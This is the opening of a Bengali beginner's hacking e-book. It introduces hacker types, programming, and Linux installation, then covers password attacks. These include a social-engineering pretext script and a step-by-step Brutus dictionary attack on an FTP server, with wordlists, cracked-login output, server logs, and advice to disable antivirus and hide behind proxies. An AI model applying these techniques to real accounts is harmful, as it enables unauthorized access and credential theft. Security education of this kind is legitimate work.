

হ্যাকিং সম্বন্ধিত প্রথম বাংলা ই-বুক

হ্যাকোলজিঃ

By P1n1X_Cr3w

১ম খণ্ড
১ম সংস্করণ

FIRST EDITION
FIRST PART
HACKOLOGY

“Hacking is not a crime, Its an art of logic”

শুরুর কথাঃ

হ্যাকিং অনেক বিশাল একটি ব্যাপার।একটি মাত্র বইয়ে তা সংকুলান করা সম্ভব না।আমরা এখানে উদাহরনের মাধ্যমে হ্যাকিংয়ের বিভিন্ন দিক নিয়ে আলোচনা করা হয়েছে।প্রয়োজনমত ছবিও যোগ করা হয়েছে।তারপরও বইটিতে কোন কিছু বুঝতে না পারলে আমাদের

ফেসবুক পেজ www.facebook.com/p1n1x.cr3w তে বলবেন আমরা সেটি নিয়ে আলোচনা করবো এবং বইটির পরবর্তী সংস্করণেও সেটি নিয়ে আরও বিস্তারিত ভাবে আলোচনা করবো।

বাংলা ভাষায় হ্যাকিং নিয়ে এটিই প্রথম বই।ফলে আমরা নতুন শিক্ষার্থীদের কাছ থেকেই শুনতে চাই তাদের ঠিক কি বুঝতে অসুবিধা হচ্ছে যাতে আমরা বইটিকে আরও সমৃদ্ধশালি করতে পারি।

এই বইটি নিয়ে কোন প্রশ্ন,অভিযোগ,পরামর্শ থাকলে আমাদের ফেসবুক পেজে জানানোর জন্য অনুরোধ করছি।খুব শীঘ্রই আরও অধ্যায় এবং হ্যাকিংয়ের মেথড নিয়ে আমরা বইটির ২য় সংস্করণ বের করবো।এর সাথে বইটিতে আমরা F.A.Q(Frequently asked questions)

যোগ করতে চাচ্ছি।আপনাদের মতামত ছাড়া তো সম্ভব না।

--P1n1X



Gr33Tz:

বাংলাদেশের সকল


ইথিক্যাল হ্যাকার

(Evil\$oul,b3du33n,C.D.H,rex0,Pp,Thunder,K.bal0k,Xen0n,w4nt3d and My friend 3xp1r3)

ওয়েব সিকিউরিটি স্পেশালিষ্ট

এবং

নন-লেজি ওয়েবসাইট ডেভেলপারদের প্রতি



সূচিপত্র

১ম অধ্যায়ঃভূমিকা-

- ১.হ্যাকার কে?
- ২.হ্যাকারের শ্রেণীবিভাগ।
- ৩.কিভাবে হ্যাকার হওয়া যায়?

২য় অধ্যায়ঃপ্রোগ্রামিং-


- ১.প্রয়োজনীয়তা।
- ২.কোথায় থেকে শুরু করা উচিত ?
- ৩.শেখার সর্বোত্তম উপায়।

৩য় অধ্যায়ঃলিনাক্স-

- ১.এটি কি?
- ২.লিনাক্সের ডিস্ট্রিবিউশন সমূহ
- ৩.লিনাক্স চালানো
- ৪.লিনাক্স শেখা

৪র্থ অধ্যায়ঃপাসওয়ার্ড

- ১.পাসওয়ার্ড ক্র্যাকিং
- ২.ফিশিং



৫ম অধ্যায়ঃনেটওয়ার্ক হ্যাকিং-

১.ফুটপ্রিন্টিং

২.পোর্ট অনুসন্ধান

৩.ব্যানার গ্র্যাবিং

৪.Vulnerability সার্চিং

৫.পেনেট্রিটিং

৬ষ্ঠ অধ্যায়ঃওয়্যারলেস হ্যাকিং

১.ওয়্যারলেস নেটওয়ার্ক অনুসন্ধান

২.WEP ক্র্যাকিং

৩.প্যাকেট স্নিফিং

৭ম অধ্যায়ঃউইন্ডোজ হ্যাকিং

১.NETBIOS

২.উইন্ডোজ পাসওয়ার্ড ক্র্যাকিং

৮ম অধ্যায়ঃম্যালওয়্যার-

১.সংজ্ঞা

২.প্রোর্যাট

৯ম অধ্যায়ঃওয়েব হ্যাকিং-

১.ক্রস সাইট স্ক্রিপ্টিং(XSS)

২.রিমোট ফাইল ইনক্লুসন(RFI)

৩.লোকাল ফাইল ইনক্লুসন(LFI)



১ম অধ্যায়

ভূমিকা

হ্যাকার কে ?

হ্যাকার হচ্ছেন সেই ব্যক্তি যিনি নিরাপত্তা/অনিরাপত্তার সাথে জড়িত এবং নিরাপত্তা ব্যবস্থার দুর্বল দিক খুঁজে বের করায় বিশেষভাবে দক্ষ অথবা অন্য কম্পিউটার ব্যবস্থায় অবৈধ অনুপ্রবেশ করতে সক্ষম বা এর সম্পর্কে গভীর জ্ঞানের অধিকারী।

সাধারনভাবে হ্যাকার শব্দটি কালো-টুপি হ্যাকার অর্থেই সবচেয়ে বেশি ব্যবহৃত হয় যারা মূলত ধ্বংসমূলক বা অপরাধমূলক কর্মকান্ড করে থাকে।

এছাড়া আরো নৈতিক হ্যাকার রয়েছে (যারা সাধারনভাবে সাদা টুপি হ্যাকার নামে পরিচিত) এবং নৈতিকতা সম্পর্কে অপরিষ্কার হ্যাকার আছে যাদের ধুসর টুপি হ্যাকার বলে।

এদের মধ্যে পার্থক্য করার জন্য প্রায়শ ক্র্যাকার শব্দটি ব্যবহার করা হয়, যা কম্পিউটার নিরাপত্তা হ্যাকার থেকে একাডেমিক বিষয়ের হ্যাকার থেকে আলাদা করার জন্য ব্যবহার করা হয় অথবা অসাধু হ্যাকার (কালো টুপি হ্যাকার) থেকে নৈতিক হ্যাকারের (সাদা টুপি হ্যাকার) পার্থক্য বুঝাতে ব্যবহৃত হয়।

২. হ্যাকারের শ্রেণীবিভাগ

সাদা টুপি হ্যাকার-এরা কম্পিউটার তথা সাইবার ওয়ার্ল্ডের নিরাপত্তা প্রদান করে।এরা কখনও অপরের ক্ষতি সাধন করে না।এদেরকে ইথিকাল হ্যাকারও বলা হয়ে থাকে।

ধুসর টুপি হ্যাকার- এরা এমন একধরনের হ্যাকার যারা সাদা টুপি ও কালো টুপিদের মধ্যবর্তী স্থানে অবস্থান করে।এরা ইচ্ছে করলে কারও ক্ষতি সাধনও করতে পারে আবার উপকারও করতে পারে।

কালো টুপি হ্যাকার - হ্যাকার বলতে সাধারনত কালো টুপি হ্যাকারদেরই বুঝায়।এরা সবসময়ই কোন না কোন ভাবে অপরের ক্ষতি সাধন করে।সাইবার ওয়ার্ল্ডে এরা সবসময়ই ঘৃণিত হয়ে থাকে।

এলিট-এরা খুবই দক্ষ হ্যাকার।এরা সিস্টেম ক্র্যাক করে ভিতরে ঢুকতে পারে এবং নিজেদেরকে সঠিকভাবে লুকায়িতও করতে পারে ।এরা সাধারণত বিভিন্ন ধরনের এক্সপ্লয়েট খুজে বের করতে পারে।প্রোগ্রামিং সম্বন্ধেও এদের ভাল ধারণা থাকে।

স্ক্রিপ্টকিডি-এরা নিজেরা টুলস বা স্ক্রিপ্ট বানাতে পারে না।বিভিন্ন টুলস্ বা অন্যের বানানো স্ক্রিপ্ট ব্যবহার করে এরা কার্যোসিদ্ধি করে।

নিওফাইট বা নুব - এরা হ্যাকিং শিক্ষার্থী।এরা হ্যাকিং কেবল শিখছে।অন্য অর্থে এদের বিগিনার বা নিউবি বলা যায়।

৩.কিভাবে হ্যাকার হওয়া যায়?

এলিট হ্যাকার হওয়া এতো সহজ না এবং খুব তাড়াতাড়ি হওয়া যায় না । একজন হ্যাকার হিসেবে অনেক সমস্যার সম্মুখীন হতে হয় এবংএকটি সমস্যার চেয়ে আরও বেশি সমাধান করতে হয়।সব সময় মনে রাখতে হবে জ্ঞানই শক্তি ।সব সময়ধৈর্য্য ধারন করতে হবে, ধৈর্য্য না থাকলে হ্যাকার হওয়ার আশা করো না । লল



২য় অধ্যায়

প্রোগ্রামিং

১. প্রয়োজনীয়তা

তুমি নিজেকে জিজ্ঞাসা করতে পারো, প্রোগ্রামিং শেখা কি খুব প্রয়োজন? উত্তর একই সাথে হ্যাঁ এবং না। এটি সম্পূর্ণ নির্ভর করবে তোমার ইচ্ছার উপর। প্রোগ্রামিং ভালো ভাবে জানা না থাকলে সঠিক ভাবে হ্যাকিং করা যাবে না। যদি তুমি প্রোগ্রামিং না বোঝো, তাহলে সবাই তোমাকে স্ক্রিপ্ট কিডি হিসেবে শ্রেণীভুক্ত করবে। প্রোগ্রামিং জানার কিছু সুবিধা হলঃ

১. তোমাকে একজন অভিজাত হ্যাকার হিসেবে বিবেচনা করা হবে।

২. এর মাধ্যমে কালো টুপি হ্যাকাররা অতি সহজে vulnerability খুঁজে বার করে।

৩. নিজের তৈরি প্রোগ্রাম দিয়ে সাইট হ্যাক করলে তুমি নিজেই খুশি হবে।

২. কোথায় থেকে শুরু করা উচিত?

অনেক লোক সিদ্ধান্ত নেন যে তারা প্রোগ্রামিং ভাষা শেখা শুরু করবে, কিন্তু জানে না কোথা থেকে শুরু করবে। আমার মতে <http://www.w3schools.com> থেকে তুমি HTML শেখা শুরু করতে পারো। এর পর অন্য গুলো।

৩. শেখার সর্বোত্তম উপায়

কিভাবে প্রোগ্রামিং শেখা যাবে, এ প্রশ্নের উত্তর আমি দিচ্ছি ...

১. কম্পিউটার নিয়ে বাজারে যত বাংলা বই আছে সংগ্রহে রাখো।


২. উইন্ডোজ পরিত্যাগ করো, লিনাক্স গ্রহণ করো। হ্যাকারদের জন্য লিনাক্সের চেয়ে ভাল কোন অপারেটিং সিস্টেম নাই। একটা বাড়তি সুবিধা হল তুমি চাইলেই এটি নিজের মত করে পাল্টাতে

পারবে। কারণ এর সোর্স কোড সম্পূর্ণ উন্মুক্ত।

৩. এবার ধীরে ধীরে কয়েকটা প্রোগ্রামিং ল্যাংগুয়েজ শিখে ফেলো। এটাই সবচেয়ে গুরুত্বপূর্ণ। প্রোগ্রামিং ল্যাংগুয়েজ এর উপর তোমার দক্ষতা যত বেশি হবে। তুমি তত ভাল হ্যাঁকার হতে পারবে, কোন সন্দেহ নেই। কোনটা শিখবে?

এইচ.টি.এম.এল > জাভাস্ক্রিপ্ট > সি > সি++ > পার্ল > পাইথন > > এই যাত্রা শেষ করবে না।

৪. অনুশীলন ! অনুশীলন ! অনুশীলন ! বার বার অনুশীলন করো।



৩য় অধ্যায়

লিনাক্স

১.এটি কি ?

লিনাক্স কম্পিউটার যন্ত্রের জন্যে তৈরি একটি পরিচালক ব্যবস্থা (অপারেটিং সিস্টেম)।লিনাক্স অপারেটিং সিস্টেমের কার্নেল বা মূল অংশকেও লিনাক্স বলা হয়।

লিনাক্সকে ওপেন সোর্স ও বিনামূল্যে সফটওয়্যার ধারার একটি আদর্শ উদাহরণ হিসেবে বিবেচনা করা হয়।অন্যান্য স্বত্ব-সংরক্ষিত অপারেটিং সিস্টেম যেমন উইন্ডোজ এবং ম্যাক ওএস হতে লিনাক্স বিভিন্নভাবে আলাদা।লিনাক্সের অন্তর্নিহিত সোর্স কোড যে কেউ বাধাহীনভাবে ব্যবহার করতে পারো, এর উন্নতিসাধন করতে পারো, এমনকি পুনর্বিতরণও করতে পারো।

অতি সঠিকভাবে লিনাক্স বলতে শুধু লিনাক্স কার্নেলকেই বোঝায়।তবে যে-সব ইউনিক্স-সদৃশ অপারেটিং সিস্টেম লিনাক্স কার্নেলের উপর ভিত্তি করে এবং মূলত নোম (ও অন্যান্য) প্রকল্পের লাইব্রেরি ও টুলস ওই কার্নেলের সাথে যুক্ত করে বানানো হয়েছে, সাধারণভাবে সে-সব অপারেটিং সিস্টেমকে লিনাক্স হিসেবে বর্ণনা করা হয়।

আরও ব্যাপক অর্থে একটি লিনাক্স ডিস্ট্রিবিউশন বলতে লিনাক্স অপারেটিং সিস্টেম ও এর সাথে সরবরাহকৃত বিপুল পরিমাণের এপ্লিকেশন সফটওয়্যার-এর সমষ্টিকে বোঝায়।লিনাক্স ডিস্ট্রিবিউশন গুলো সহজেই কম্পিউটারে ইন্সটল ও আপডেট করা যায়।

কিছু ডেস্কটপ পরিবেশ যেমন নোম এবং কেডিই সাধারণত কেবল লিনাক্সের সাথে জড়িত বলে ধারণা করা হলেও এগুলো অন্যান্য অপারেটিং সিস্টেমেও (যেমন ফ্রিবিএসডি-তে) ব্যবহৃত হয়।



প্রাথমিকভাবে কেবল কিছু উৎসাহী ব্যক্তিই মূলত লিনাক্স ব্যবহার ও এর উন্নতিসাধন করতেন। এখন বড় বড় কর্পোরেশন যেমন আইবিএম, সান মাইক্রোসিস্টেমস, হিউলেট-প্যাকার্ড, নভেল, ইত্যাদি সার্ভারে ব্যবহারের জন্যে লিনাক্সকে বেছে নিয়েছে। ডেস্কটপ বাজারেও লিনাক্সের চাহিদা ও জনপ্রিয়তা বাড়ছে। লিনাক্স বিশেষজ্ঞ ও লিনাক্স সমর্থকদের মতে লিনাক্সের এই উত্থানের পেছনে কারণ লিনাক্স সস্তা, নিরাপদ, নির্ভরযোগ্য এবং এটি কোনো নির্দিষ্ট বিক্রেতার কাছ থেকে কিনতে হয় না, অর্থাৎ এটি বিক্রেতা-অধীন নয়।

লিনাক্স প্রাথমিকভাবে ইন্টেল ৩৮৬ মাইক্রোপ্রসেসর-এর জন্য তৈরি করা হলেও এখন এটি বর্তমানের সব জনপ্রিয় (এমনকি অনেক পুরনো ও বিরল) কম্পিউটার আর্কিটেকচার-এর অধীনে কাজ করে। গ্রহণিত ব্যবস্থা (এম্বেডেড সিস্টেম), যেমন মোবাইল ফোন, ব্যক্তিগত ভিডিও রেকর্ডার, ইত্যাদি থেকে শুরু করে ব্যক্তিগত ডেস্কটপ বা ল্যাপটপ কম্পিউটার, এমনকি সুপার কম্পিউটার - সব পরিবেশেই এখন লিনাক্স ব্যবহৃত হয়।

২. লিনাক্সের ডিস্ট্রিবিউশন সমূহ

ওপেন সোর্স এর মধ্যে অনেক গুলো অপারেটিং সিস্টেম রয়েছে। যা সবগুলো লিনাক্স এর উপর নির্ভর করে তৈরি। <http://distrowatch.com> থেকে এর তালিকা দেখে নাও।

৩. লিনাক্স চালানো


লিনাক্স চালানোর অনেক গুলো পদ্ধতি রয়েছে। আমি তার মধ্য থেকে কয়েকটি নিয়ে আলোচনা করব।

লাইভ সিডি

যে সকল CD/DVD থেকে BOOT করা ছাড়া অপারেটিং সিস্টেম চালু করা যায় তাকে লাইভ সিডি বলা হয়। এর মাধ্যমে অতি সহজে লিনাক্স চালানো যায়। নিচে লিনাক্স (উবুন্টু) এর লাইভ সিডি তৈরি করার নিয়ম দেওয়া হলো।



১. <http://www.ubuntu.com/download/ubuntu/download> এর .ISO ফাইল ৩২ অথবা ৬৪ বিট ডাউনলোড করে নাও।



২. ডাউনলোড শেষ হওয়ার পর ফাইল টি ব্ল্যাংক সিডিতে বার্ন করে নাও।

Wubi

Wubi আমার অন্যতম প্রিয় অপশন। Wubi এর মাধ্যমে উইন্ডোজ থেকে সরাসরি উবুন্টু ইন্সটল করা যায়। Wubi এর মাধ্যমে উবুন্টু ইন্সটল করার নিয়ম:

১. বার্ন শেষে সিডি থেকে Autoplay অথবা wubi.exe ওপেন করো।






২. Install inside উইন্ডোজ অপশনটি সিলেক্ট করো।



৩. পরবর্তী উইন্ডোতে ইচ্ছামত অপশন সিলেক্ট করে ইন্সটল দাও।

৪. ইন্সটল সম্পূর্ণ হওয়ার জন্য অপেক্ষা করো।



৫. ইন্সটল সম্পূর্ণ হলে Reboot বাটনে চাপ দাও।



৬. এরপর উবুন্টু ইন্সটল হওয়া শুরু করবে কিছুক্ষণ এর মধ্যে ইন্সটল শেষ হবে।

বি.দ্রঃ ইন্সটল করার সময় নেট বন্ধ রাখবে। নাহলে ওয়েব ইন্সটলের মত ইন্সটল হবে ফলে সময় বেশি লাগবে।




Virtualbox(ভার্চুয়ালবক্স)

ভার্চুয়ালবক্স লিনাক্স চালানোর অন্যতম পদ্ধতি। এর সাহায্যে MAC অথবা উইন্ডোজ থেকে যেকোন লিনাক্স চালান যায়।

১. প্রথমে <http://www.virtualbox.org/wiki/downloads> থেকে ভার্চুয়ালবক্স ডাউনলোড করে নাও।

২. ইন্সটল করো।


৩. Virtualbox চালু করে উপরের New বাটনে চাপ দাও।




8.Next বাটনে চাপ দাও।



৫.নাম লেখো এবং লিস্ট থেকে উবুন্টু বেছে নাও।




৬. লিনাক্স চালানোর জন্য RAM এর মেমরির পরিমাণ নির্ধারণ করো। মূল RAM এর ১/২ অথবা ১/৪ অংশ মেমোরি দিলে ভালো হয়। আমার ২ জিবি RAM রয়েছে, তাই ৫১২ নিয়েছি।




৭. Next বাটনে চাপ দাও।



৮. এখন তোমাকে Dynamic অথবা Fixed অপশন পছন্দ করতে হবে। যদি HDD তে পর্যাপ্ত পরিমাণ জায়গা থাকে তাহলে Dynamic image অপশন, যদি জায়গা কম থাকে তাহলে Fixed Size image অপশনে নিতে হবে।



৯. লিনাক্স এর জন্য জায়গার পরিমাণ নির্ধারণ করে নাও।



১০. ঠাণ্ডা মাথায় Finish এ চাপ দাও।




১১. এটি নিজের থেকেই .ISO ফাইলটি খুজে নিবে এখন Next বাটন এ চাপ দাও।




১২. কাজ প্রায় শেষ !!!




১৩. এখন তুমি পুনরায় পূর্বের স্থানে ফিরে আসবে।এখান থেকে CD/DVD Rom এ চাপ দাও।




১৪. Mount CD/DVD টিক দিয়ে .ISO ফাইল ব্রাউজ করে দাও।




১৫. ফাইলটি ব্রাউজ করার পর Select এ চাপ দাও।







১৬. এখন তুমি ওই উইন্ডোতে পুনরায় ফিরে আসবে, এখান থেকে Start এ চাপ দাও।



১৭. এখন উবুন্টু বুট মেন্যু আসবে। এবার Try Ubuntu থেকে বিভিন্ন অপশন এর মাধ্যমে উবুন্টু ইন্সটল করো।



লিনাক্স শেখা

এখন উবুন্টু দেখে তুমি ভাবতে পারো যে পরবর্তীতে কি করতে হবো তোমার শেখা এখন শুরু করা উচিত। তুমি দেখতে পাবে যে প্রায় প্রতি ডিসট্রিবিউশন এ একটি বিরাট কমুনিটি রয়েছে যা তোমাকে সাহায্য করবে, এবং এটি একটি গুগল অনুসন্ধানের মাধ্যমেই হতে পারে! আমি বই পড়ার জন্য পরামর্শ দিব। নিচে আমি কিছু বিখ্যাত বই এর তালিকা দিয়েছি যা তোমার কাজে লাগবে।

<http://www.mediafire.com/?tnmnh1viyi2>

<http://www.mediafire.com/?ru90ink6val>

<http://www.mediafire.com/?9fm2wbw2c28aeed>

অনেক ওয়েবসাইট আছে যা সম্পূর্ণ লিনাক্স সম্পর্কে। নিচে কিছু ভাল ওয়েবসাইট এর নাম দেয়া হলঃ

• <http://www.linux.com/>

• <http://beginlinux.org/>

• <http://www.linux-tutorial.info/>



যারা ছবি বা ভিডিও দেখে শিখতে চাও তাদের জন্য কিছু ভিডিওঃ

• <http://www.vtc.com/products/Ubuntu-Linux-tutorials.htm>

• <http://www.vtc.com/products/Ubuntu-Linux-tutorials.htm>

উপরের তালিকাটি লিনাক্স এর ভিতরের এবং বাইরের সব বিষয় জানার জন্য পর্যাপ্ত। তাহলে যেকোন একটি বই অথবা ওয়েবসাইট বা ভিডিও বেছে নাও এবং শেখা শুরু করো।



৪র্থ অধ্যায়

পাসওয়ার্ড

বর্তমানে ,পাসওয়ার্ড হল ওয়েবসাইট ও কম্পিউটারের প্রধানতম নিরাপত্তা ব্যবস্থা।কম্পিউটার বা নেটওয়ার্ক হ্যাকারদের অনুপ্রবেশ এর জন্য এটি হল সব চেয়ে সহজ উপায়।

পাসওয়ার্ড ক্র্যাকিং

প্রোগ্রামের মাধ্যমে পাসওয়ার্ড ক্র্যাকিং এর পূর্বে, আমি কোন একজন এর পাসওয়ার্ড ক্র্যাক করার জন্য কয়েকটি উপায় ব্যাখ্যা করব।

#সোসিয়াল ইঞ্জিনিয়ারিং - সোসিয়াল ইঞ্জিনিয়ারিং হল যখন এক জন হ্যাকার যখন মানুষের কাছ থেকে তার বিশ্বাস এর মাধ্যমে তথ্য নেয়। উদাহরণের জন্য, যদি হ্যাকার কারো কম্পিউটার এর পাসওয়ার্ড পেতে চেষ্টা করে, সে তার কাছে নিজেকে IT ডিপার্টমেন্ট এর কর্মী হিসাবে পরিচয় দিতে পারে।তাদের কথোপকথন এ রকম হতে পারে :

মি.ডটনেটঃ"হ্যালো মি.ডটকম।আমার নাম ডটনেট এবং আমি IT ডিপার্টমেন্ট থেকে বলছি।আমরা বর্তমানে তোমার কম্পিউটার এ একটি নতুন নিরাপত্তা হালনাগাদ করার চেষ্টা করছি।কিন্তু আমরা তোমার ইউজার ডেটাবেজে সংযোগ করতে পারছি না এবং তথ্য সংগ্রহ করতে পারছি না।তুমি কি আমাকে তোমার কম্পিউটার এর পাসওয়ার্ড জানিয়ে সাহায্য করবে?"মি.ডটকম স্বভাবতই মি.ডটনেট এর জন্য দুঃখ অনুভব করবে এবং তাকে পাসওয়ার্ড বলে দিবোসে হ্যাক হয়ে গেল।হ্যাকার এখন তার অ্যাকাউন্ট এ যা খুশি করতে পারে।

#Shoulder surfing- Shoulder surfing যথাযথভাবে এর অর্থের মতই।হ্যাকার সহজেই তোমার কাঁধের উপর দিয়ে পাসওয়ার্ড দেখার চেষ্টা করে ।

#Guessing - যদি তুমি একটি দুর্বল পাসওয়ার্ড ব্যবহার করে থাক তাহলে হ্যাকার তোমার সম্বন্ধে তথ্য নিয়ে গবেষণা করার মাধ্যমে সহজে অনুমান করে পাসওয়ার্ড ক্র্যাক করতে



পারে।এর কিছু উদাহরণঃফোন নাম্বার,পোষা প্রানি,জন্মদিন বা তোমার গার্লফ্রেন্ড/বয়ফ্রেন্ড এর নাম, জন্মদিন,ফোননাম্বার ইত্যাদি।


এখন আমরা সহজ low-tech পাসওয়ার্ড ক্র্যাকিং এর কৌশল সম্পর্কে জানলাম, আসো কিছু high-tech কৌশল এক্সপ্লোর করি।আমি কিছু প্রোগ্রাম ব্যবহার করি যা তুমি ব্যবহার করতে গেলে তোমার অ্যান্টিভাইরাস বাধা দিতে পারে। তোমাকে তোমার অ্যান্টি ভাইরাস বন্ধ করতে হবে যখন প্রোগ্রাম গুলো ডাউনলোড করবে ও চালু করবে।

#Dictionary attack - পাসওয়ার্ড যদি সহজ কিছু হয়ে থাকে তাহলে এই ভাবে তা ক্র্যাক করা সম্ভব হয়।ডিকশনারি অ্যাটাকিং টুল এক গুচ্ছ পূর্ণনির্ধারিত শব্দ বারে বারে লগিনের সময় ব্যবহার করা হয়।উদাহরণটি দেখলেই পরিষ্কার ভাবে বুঝতে পারবে।কঠিন পাসওয়ার্ড ক্র্যাকিংয়ের ক্ষেত্রে এই পদ্ধতি কাজ করেনা। নিম্নলিখিত উদাহরণে, আমি একটি এফটিপি সার্ভারে ডিকশনারি অ্যাটাক দেখাতে Brutus ব্যবহার করব,এটি একটি খুব সাধারণ পাসওয়ার্ড ক্রেকার। Brutus একটি উইন্ডোজ প্রোগ্রাম।উদাহরণ দেয়ার আগে তোমাকে জানতে হবে এফটিপি সার্ভার কি।এফটিপি হল ফাইল ট্রান্সফার প্রোটোকল।এফটিপি হল ইন্টারনেট এ ফাইল এক্সচেঞ্জ এর অন্যতম একটি উপায়।যদি কোন হ্যাকার এফটিপি দিয়ে কোন ওয়েবসাইট এ ঢুকতে পারে তাহলে সে যে কোন কিছু আপলোড বা ডিলিট করতে পারবে। এফটিপি ঠিকানা আসল ওয়েবসাইট ঠিকানার মতই শুধুমাত্র http:// এর পরিবর্তে ftp:// থাকে।


১.প্রথমে হ্যাকার একটি লক্ষ্য বেছে নিবে।ধরি এটা আমার বাসার কমপিউটার এবং এর ip অ্যাড্রেস হল 127.0.0.1 ।

২.এফটিপিতে যাওয়ার পর এফটিপি://127.0.0.1 আমি একটি ইউজারনেম এবং পাসওয়ার্ডের জন্য একটি pop-up বাক্স দেখতে পাই।





৩.এরপর হ্যাকার একটি প্রোগ্রাম চালু করবে যা পাসওয়ার্ড ক্র্যাক করার জন্য আমি এখানে Brutus ব্যবহার করব।



আরও কিছু পাসওয়ার্ড ক্র্যাকিং প্রোগ্রাম আছে যেমন ;

• <http://www.oxid.it/cain.html>

• John the Ripper <http://www.openwall.com/john/>



• [THC Hydra http://freeworld.thc.org/thc-hydra/](http://freeworld.thc.org/thc-hydra/)

• [SolarWinds http://www.solarwinds.com/](http://www.solarwinds.com/)

• [RainbowCrack http://www.antsight.com/zsl/rainbowcrack/](http://www.antsight.com/zsl/rainbowcrack/)


৪.লক্ষ্যটিতে তোমার আইপি প্রবেশ করাও এবং টাইপ হিসেবে এফটিপি বেছে নাও।

৫.ডিফল্ট পোর্ট ২১ কিন্তু কিছু ওয়েবসাইট তাদেরকে আরো বেশি নিরাপদ করার জন্য অন্যকিছুতে পরিবর্তন করে। যদি তুমি দেখো যে ডিফল্ট পোর্ট ২১ নয়, তাহলে তুমি পোর্ট স্ক্যানিং করার মাধ্যমে এটি খুঁজে পেতে পারো।এ ব্যাপারে এই বইয়ের অন্য অংশে আলোচনা করব।


৬.তুমি যদি এফটিপি সার্ভার এর ইউজারনেম না জানো তাহলে তোমাকে সব চেয়ে ব্যবহার করা হয় এমন ইউজারনেম তালিকা পেতে হবে।


৭.একটি ডিকশোনারি অ্যাটাক তোমার জন্য পাসমোড ও শব্দ তালিকা বেছে নিতে হবে। ব্রাউজ করে শব্দ তালিকা ভুক্ত ফাইল টি বেছে নিতে হবে।তাহলে কিছু ভাল পাসওয়ার্ড পেতে পারো।

<http://packetstormsecurity.org/Crackers/wordlists/> নিচে পাসওয়ার্ড আর ইউজারনেম কেমন হতে পারে তা দেয়া হল।




```
users - Notepad
File Edit Format View Help
admin
administrator
test
guest
root
backup
```





```
words - Notepad
File Edit Format View
|
aaa
abc
academia
academic
access
ada
admin
administrator
adrian
adrianna
aerobics
airplane
albany
albatross
albert
alex
alexander
alf
algebra
alias
aliases
alice
alicia
alisa
alison
```

৮। প্রোগ্রাম টি চালু করার সাথে সাথে এটা সার্ভারে সংযোগ করবে এবং তালিকা থেকে সমস্ত সম্ভব বিন্যাস চেষ্টা করতে শুরু করবে।



৯। যদি পাসওয়ার্ড সহজ হয় তাহলে সঠিক ইউজারনেম ও পাসওয়ার্ড এর বিন্যাস পেয়ে যাবে। যেমন নিচে দেখ ঠিক ইউজারনেম ও পাসওয়ার্ড এর বিন্যাস

ইউজারনেম - admin

পাসওয়ার্ড - password



Positive Authentication Results				
Target	Type	Username	Password	
127.0.0.1	FTP	admin	password	

Located and installed 1 authentication plug-ins
 Initialising...
 Target 127.0.0.1 verified
 Opened user file containing 6 users.
 Opened password file containing 818 Passwords.
 Maximum number of authentication attempts will be 4908
 Engaging target 127.0.0.1 with FTP
 Trying username: admin
 Positive authentication at 127.0.0.1 with User : admin Password : password (550 attempts)
 Maximum total authentication attempts reduced to 4649
 Trying username: administrator

১০ স্মার্ট হ্যাকার এরকম একটি প্রোগ্রাম ব্যবহার করার সময় প্রক্সি ব্যবহার করবে। প্রক্সি তোমার কম্পিউটার এর আইপি হাইড করে অন্য একটি কম্পিউটার এর মাধ্যমে রিকুয়েস্ট তোমার টার্গেট এ পাঠিয়ে। এটি একটি চটপটে ধারণা কারণ তুমি নিচের ছবিতে দেখে পাবে। Brutus লক্ষ্য সার্ভারে তোমার উপস্থিতির একটি বিশাল কার্যবিবরণী পাঠায়।



```

(000147) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000149) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000149) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000151) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000151) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000150) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000150) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000152) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000152) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000153) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000153) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000155) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000155) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000154) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) USER admin
(000154) 10/23/2008 17:01:09 PM - (not logged in) (127.0.0.1) 331 Password required for admin
(000147) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000147) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000149) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000146) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000146) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000148) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000148) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000150) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS ****
(000150) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000152) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000152) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000154) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000154) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000154) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) disconnected.
(000149) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000151) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000151) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000153) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****
(000153) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) 530 Login or password incorrect!
(000155) 10/23/2008 17:01:15 PM - (not logged in) (127.0.0.1) PASS *****

```

ID #	Account	IP	Transfer
000166	(not logged in)	127.0.0.1	
